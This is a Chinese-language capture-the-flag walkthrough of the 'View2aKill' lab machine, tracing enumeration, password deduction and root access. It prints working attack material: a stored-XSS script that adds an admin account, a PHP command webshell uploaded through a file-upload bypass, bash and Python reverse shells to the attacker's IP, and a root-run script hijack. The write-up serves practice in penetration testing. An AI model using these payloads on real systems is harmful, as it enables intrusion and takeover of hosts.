靶机描述:Mission: Millionaire psychopath Max Zorin is a mastermind behind a scheme to destroy Silicon Valley in order to gain control over the international microchip market. Get root and stop this madman from achieving his goal! Difficulty: Intermediate Flag is /root/flag/flag.sh Use in VMware. DHCP enabled. Learning Objectives: Web Application Security, Scripting, Linux enumeration and more.
友情提示:这个靶机可能会经常性"失联",重启靶机解决。
一、信息收集
靶机IP:192.168.152.151

端口和服务
bash
nmap -sS -sV -T4 -A -p- 192.168.152.151

页面、目录枚举
bash
dirb http://192.168.152.151 -X .php,.txt,.zip,.html

bash
gobuster dir -u http://192.168.152.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip


http://192.168.152.151/robots.txt

看到joomla 自然想到了那套全球知名的内容管理系统,但这个却不是。
joomscan 和gobuster 扫描了一下http://192.168.152.151/joomla 什么也没发现

整理一下目前收集到的信息
dir&pages:
• /joomla →mp3
• /dev
• /zorin
• /defense
• /pics
• /index.html
port&services
• 22 OpenSSH 7.6p1
• 25 Postfix smtpd
• 80 Apache httpd 2.4.29
• 8191 PHP cli server 5.5 or later(http-title: electronic controller app)
下面就是以上述信息为基础,进一步收集信息
8191 端口
bash
telnet 192.168.152.151 8191
curl http://192.168.152.151:8191


几个PDF 文档只是几个产品的说明文档之类的,而且都可以在网上查到(后面发
现这些是重点)
http://192.168.152.151/dev/SystemPrep.txt
SysAdmins, Devs, Security, etc. Keep in mind once this site goes live, we'll be working a TON of over time. Make sure everything is tested and ready to rock before pushed to prod.
http://192.168.152.151/dev/about.html
insert photo here Hi I'm Max, Boss, please add short bio here about your self. The copy writers said to "make yourself sound personable" (whatever that means).
下载压缩文件e_bkup.tar.gz,解压后得到四个文件.
bash
tar -zxvs Desktop/e_bkup.tar.gz Desktop/view2akill

在NewEmployeeOnboarding_Chuck.rtf 文件中我找到了HR mgmt 的一个登录用户名:chuck@localhost.com,以及有关密码的信息:password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password. format example: facility007.
使用hydra 对smtp 进行爆破,用户名为chuck,无果
bash
hydra -l chunk -P /usr/share/wordlists/fasttrack.txt smtp://192.168.152.151
onboardingemailtemplate.rtf 从名字来看应该是个邮件模板;StopStoringPasswords.rtf 只是个安全提示邮件。
notetomail_admins.txt 文件内容:Yo, wassup computer geeks! I was told by design to upload a few example emails for you nerds to work with in prep for what they called "email web gooey platform".
http://192.168.152.151/defense/
Security devs made a custom app that checks for any unusual files in the
apache web directory. Not really sure how it works and if it's actually secure.
Just let them know before any changes are made in web dirs.

http://192.168.152.151/zorin/about.html

http://192.168.152.151/zorin/hr.html
找到一个/sentrifugo

从网页中信息中我们可以知道sentrifugo 的初始密码为toor,随后访问了http://192.168.152.151/sentrifugo/,这是一个登录页面,尝试了root、admin、max、zorin 作为用户名,toor 作为密码,但都没能登录。
http://192.168.152.151/sentrifugo/,通过右上角的Help 按钮,下载到了一个使用说明书。
既然是知名的HRM 系统,那么应该有相关的exp,但前提是知道靶机上的版本是多少。由于是第一次接触这个HRM 系统,所以用gobuster 扫描了一下http://192.168.152.151/sentrifugo/,发现了CHANGELOG.txt,通过这个文件我们知道了当前的版本是3.2。
bash
gobuster dir -u http://192.168.152.151/sentrifugo/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip


好奇之下我查看了gobuster 发现的这些目录,发现可以遍历目录
http://192.168.152.151/sentrifugo/public/

http://192.168.152.151/sentrifugo/sql/,发现一个sql 文件,文本编辑器打开之后发现是一些表操作语句,也没有发现什么敏感信息。
Google 搜索"sentrifugo exploit"发现了几个漏洞,而靶机里面的版本也是3.2,Platform 是Windows 排除。

从Sentrifugo 3.2 - File Upload Restriction Bypass 可知,可以上传一个shell 文件,但前提是得登录Sentrifugo HRMS。
整理一下现有信息:一个Sentrifugo 系统的用户名:chuck@localhost.com,以及该用户密码的提示信息;两个可用的漏洞:xss、文件上传限制的绕过
关于这个文件上传限制的绕过有这么两个地方:
• /sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
• sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)
区别在于用户权限。所以现在的思路就是尝试hydra 爆破一下密码,如果能成功,再上传一个shell 文件。
burpsuite 抓包发现用户名和密码的参数名称分别为username 和password

bash
hydra -l chuck@localhost.com -P /usr/share/wordlists/rockyou.txt -vV -f 192.168.152.151 http-post-form"/sentrifugo/index.php:username=^USER^&password=^PASS^:F="
这里需要对rockyou.txt 密码字典进行处理,因为从之前得到的信息,知道密码的格式像:facility007。后面发现这里太粗心,对关键信息视而不见,以至于搞错了获取密码的方向。
bash
awk '/^([a-zA-Z]+)([0-9]+)$/{print}' /usr/share/wordlists/rockyou.txt > Desktop/view2akill/rockyou.txt
但是,这么筛选完之后,还是有500w+,直接放弃了,这个思路可能是错的。
到这里思路断了,用nikto 扫,发现了.git 文件,有个扫描.git 文件的工具,GitHack 用一下。
bash
nikto -h http://192.168.152.151/sentrifugo/
python GitHack.py http://192.168.152.151/sentrifugo/.git/
结果没有东西。
二、得到密码
用hydra 爆破了一下smtp 的密码,用户名是收集到的这几个:
• scarpine
• max
• chuck
• zorin

字典用的是kali 自带的/usr/share/wordlists/fasttrack.txt,无果。重新理了一下现有的信息,得出比较确定的结论:想继续下去必须先得到sentrifugo 系统的密码,账号已经有了就是chuck@localhost.com。
注意到关键信息是:lowercase word/txt、the remote detonator + the transmit frequency of an
HID proxcard reader、password format example: facility007.
下面说一下是怎么得到密码的。回到密码的提示那里,关键信息是:the remote detonator + the transmit frequency of an HID proxcard reader 。分开来看就是 the remote detonator 和the transmit frequency of an HID proxcard reader,密码是由这两个组合起来的。两个线索分别对应/dev 目录中的两个文件,如下图所示:

the remote detonator 对应的是remote_control.gif.the remote detonator 是啥意思:远程雷管(来自Google 翻译)。之前把/dev 目录里面的文件翻了个遍,remote_control.gif 描述就是一个妹子拿个遥控器把一架直升机给炸了。
之前用Stegsolve 分析了一下这个gif 图片(按帧浏览Analyse--Frame Browser),把一张稍微清晰一点的保存成位图,可以看到绿框中的英文单词像是HELICOPTER,就是直升机

接着说the transmit frequency of an HID proxcard reader,线索(hint)就是transmit frequency 和HID,结合到/dev 目录下的文件,就是HID6005.pdf,打开这个文件(就两页),开始找transmit frequency 关键词,看到有125 kHz。

现在组合HELICOPTER 和125 kHz,根据lowercase word/txt 和password format example: facility007,得到最终的密码为:helicopter125。
这里需要一点联想,还就是想想你现在手上有什么,根据现有的东西能做什么,然后仔细读给到的hint。所以现在有了sentrifugo 系统的用户名和密码:chuck@localhost.com:helicopter125
三、XSS 添加特权账户
登录sentrifugo 系统根据之前收集的信息,我们知道有个文件上传绕过的漏洞Sentrifugo 3.2 - File Upload Restriction Bypass,根据文章里面的说明,存在绕过的位置如下:
File upload bypass locations:
• /sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
• sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)
登录之后从给到的权限来看,当前账户权限较低,所以只能通过/sentrifugo/index.php/mydetails/documents 上传文件,但是在对应的位置根本没找到documents,说明是没有权限

为了进一步证实当前用户没有该权限,直接访问了/sentrifugo/index.php/mydetails/documents,得到错误提示:You are not authorized to access this page.
还有另外一个漏洞Sentrifugo 3.2 - Persistent Cross-Site Scripting。
exploit-db 里面的利用说明如下:
A low privileged user can insert a stored XSS referencing a crafted js file that would ride a session of an admin user to create an additional admin user. Logged in as the low priv user, insert the following in "Certificate Description" (Self Service >> My Details >> Training and Certificate Details) <script src="http://Attacker-IP/add-admin-user.js"></script> Add the following 'add-admin-user.js' file hosted on your attacking machine. This request will need to be customized per instance of Sentrifugo.
具体操作步骤如下:
第一步:ifconfig eth0 命令查看kali 的IP 为:192.168.152.141;
第二步:创建add-admin-user.js 文件,添加如下内容,并将该js 文件放置于kali
的Apache2 服务根目录(/var/www/html),开启apache2 服务service
apache2 start。将IP 地址改为靶机的IP
bash
cd /var/www/html
vim add-admin-user.js
cat add-admin-user.js
javascript
function execute()
{
var nuri ="http://192.168.152.151/sentrifugo/index.php/employee/add";
xhttp = new XMLHttpRequest();
xhttp.open("POST", nuri, true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.withCredentials = "true";
var body = "";
body += "\r\n\r\n";
body +=
"id=&final_emp_id=EMPP666&tmp_emp_name=Select+Candidate&employeeId=EMPP&employeeNumId=666" +
"&firstname=Hack&lastname=Insight&modeofentry=Direct&emprole=2_1&emailaddress=insight%40localhost.com" +
"&businessunit_id=0&reporting_manager=2&emp_status_id=6&screenflag=add&date_of_joining=09%2F09%2F2019&submit=Save";
xhttp.send(body);
return true;
}
execute();

bash
service apache2 start

第三步:在sentrifugo 系统的Self Service >> My Details >> Training and Certificate Details 处,修改记录CISSP,将XSS 代码放于Description 输入框中,之后保存。具体内容如下:
IP 地址是kali 的IP
javascript
<script src="http://192.168.152.141/add-admin-user.js"></script>


第四步:等待XSS 被触发。
When a user with permissions to add users (HR role by default) views your XSS "Certification Description" the add user request should be sent.
关于"谁"去触发XSS 这个问题,猜测靶机里面可能有一个计划任务,只是怎么实现的就不得而知了。
停掉Apache2 的服务,使用Python(Python2 和Python3 的效果是一样的)开启HTTP 服务,等待计划任务访问js 脚本
bash
service apache2 stop
cd /var/www/html
python -m http.server 80
为什么要用使用Python 开启的HTTP 服务,因为当有人去请求add-admin-user.js 时候,在命令行上我们可以直观的看到,也就是说Python 直接输出了访问日志,这不就等于说是告诉我们XSS 被触发了吗?

从上图中,看到XSS 被触发了,接着用bob@localhost.com:toor 登录sentrifugo 系统,结果提示:用户名或密码错误。这里是怎么知道toor 是密码?前期的信息收集,在http://192.168.152.151/zorin/hr.html 页面有这么几句话:During this transition period all new users (from now on) will have their sentrifugo passwords automatically set to toor so no real email address is required for the system to send the initial automatically generated password.Please be patient as the reset to toor may take up to a minute.
由此知道默认的密码是toor,而且说让我们等几分钟。`
就这个利用XSS 添加特权账户,需要对sentrifugo 系统非常了解,比如这些个参数的类型、格式要求。最开始没往这方面想。
• firstname:必须全英文,用的是Hack
• lastname:必须全英文,用的是Insight
• finalempid:系统中不存在的就可以,用的是EMPP666
• employeeNumId:要求同上,用的是666
需要注意的一点是:XSS 添加账号之后,靶机需要一点时间,去重置新账户的密码为toor。
使用insight@localhost.com:toor 重新登录sentrifugo 系统

四、getshell
刚刚登录系统之后,好多菜单查看不了,也不知道咋回事,几乎把所有地方都点了一遍。一直到点到添加员工,之后再去点之前无法点击的菜单,就都恢复正常了。

由于现在是超管权限,可以在/sentrifugo/index.php/policydocuments/add页面处上传shell。

用msfvenom 生成webshell,生成shell 文件之后需要将为文件添加.doc 后缀名,所以最后的shell
文件为shell.php.doc。
bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.141 LPORT=1234 R > shell.php
php 网页会看到/*,并且无法反弹shell.

打开burpsuite,拦截请求,将请求发送到Repeater 模块,因为在Repeater 模块发送修改的请求后,可以在响应头里看到文件的名称new_name,所以这一步很关键。
修改以下三处后,发送请求
• filename 由原来的shell.php.doc 改为shell.php
• Content-Type 由原来的application/msword 改为application/x-httpd-php
•Content 用<?php cmd=_GET'cmd'; system($cmd);?>替换

测试shell 是否可用。访问
http://192.168.152.151/sentrifugo/public/uploads/policy_doc_temp/。找到了上传的shell,1788571023_6_shell.php。

访问http://192.168.152.151/sentrifugo/public/uploads/policy_doc_temp/1788571023_6_shell.php?cmd=id

访问http://192.168.152.151/sentrifugo/public/uploads/policy_doc_temp/1788571023_6_shell.php?cmd=cat /etc/passwd

成功读取了/etc/passwd 文件。接下来反弹shell,?cmd=uname%20-a ,靶机的系统是Ubuntu 的,所以nc -e 就用不了。
bash
http://192.168.152.151/sentrifugo/public/uploads/policy_doc_temp/1788571023_6_shell.php?cmd=nc -e /bin/bash 192.168.152.141 4444
Kali 机器上开启监听:
bash
nc -lvnp 4444
在浏览器中访问(URL 编码后的命令,替换为你的 Kali IP):
bash
http://192.168.152.151/sentrifugo/public/uploads/policy_doc_temp/1788571023_6_shell.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.152.141/4444 0>%261"

获取shell 之后的第一步,使用Python 获取一个tty
bash
python -c 'import pty; pty.spawn("/bin/bash")'

五、提权
关于Linux 提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilegeescalation-_linux
先在kali 上开启HTTP 服务
bash
python -m http.server 65534
使用wget 下载linuxprivchecker.py 脚本到靶机的tmp 目录.因为所在的地理位置不允许直接访问Github,所以从自己的kali下载.
bash
cd /tmp
wget http://192.168.152.141:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt 文本中
bash
python linuxprivchecker.py > report.txt
靶机做了这些后发现还是手动收集更快,手动收集不到有效信息的情况下再尝试用脚本。
先到home 目录下"扫荡"一遍,在/home/jenny 目录下发现了一个dsktp_backup.zip 文件,解压之后发现两个文件.
bash
cd jenny
ls -la
cat passswords.txt

passswords.txt 中得到两个密码
• ssh 的密码jenny:!!!sfbay!!!
•hr mgmt - NO ACCESS
ANYMOREjenny@localhost.com:ThisisAreallYLONGPAssw0rdWHY!!!!
在todo.txt 中得到一个信息/home/max/aView.py,这个不知道有啥用,先放着

使用得到的账号密码通过SSH 登录靶机。
bash
ssh jenny@192.168.152.151

然后执行sudo -l,提示该用户无法执行sudo 命令
SUID 权限可执行文件,没有可用的
bash
find / -perm -u=s -type f 2>/dev/null
常见的SUID 提权可执行文件
• nmap
• vim
• less
• more
• nano
• cp
• mv
• find
• wget
• bash
查看计划任务,无
bash
cat /etc/crontab
继续"扫荡"home 目录下其他几个目录,在/home/max 目录下发现了note.txt,内容如下:


看样子是需要写个脚本了。最初的代码如下:
bash
vim getDir.py
cat getDir.py
python
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import string
from hashlib import sha1
import requests
URL = "http://192.168.152.151:8191/{}"
paths = []
for alpha in string.ascii_lowercase:
for n in string.digits:
for m in string.digits:
path = sha1((alpha + "view" + n + m + "\n").encode("utf-8")).hexdigest()
paths.append(path)
for i in paths:
url = URL.format(i)
r = requests.get(url)
if r.status_code == 200:
print(url)
break
执行完之后,得到一个状态码为200 的URL:http://192.168.152.151:8191/7b79b29fa85a5943effb2d9020bf40e24eec33a1,浏览器访问之后,发现页面上没有任何东西,查看了一下Content-Length 为167,想着如果多了点什么Content-Length 的值应该会变大,之后改了一下校验URL 有效性的条件:由原来的if r.status_code == 200:改为if r.status_code == 200 and len(r.content) > 167:

浏览器访问http://192.168.152.151:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a

点一下红色按钮,跳转到另一个页面,提示:waiting on engineers to tweak final code

因为之前查看过/home/max 目录下的aView.py,发现上面的提示跟脚本里面的内容相似度很大,一个大胆的猜测是:通过点击红色的Execute 按钮调用了aView.py这个脚本,print 出了提示。查看了一下脚本的文件权限,发现jenny 可以修改它。

这里不确定这个脚本是否是以root 权限执行的,只能说先尝试一下。用nano 编辑器修改aView.py,加入反弹shell 的代码
bash
import socket,subprocess,os
import pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.152.141",1212))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

先在kali 上使用nc 监听端口,然后回到浏览器上,点击红色的Execute 按钮,随后得到了root 权限的shell。
bash
nc -lvnp 1212

根据靶机的说明,flag 在/root/flag 目录下。进入目录,发现run_me_for_flag.sh,执行脚本之后访问8007 端口,得到flag。
bash
cd /root
ls
cd flag
ls
./run_me_for_flag.sh

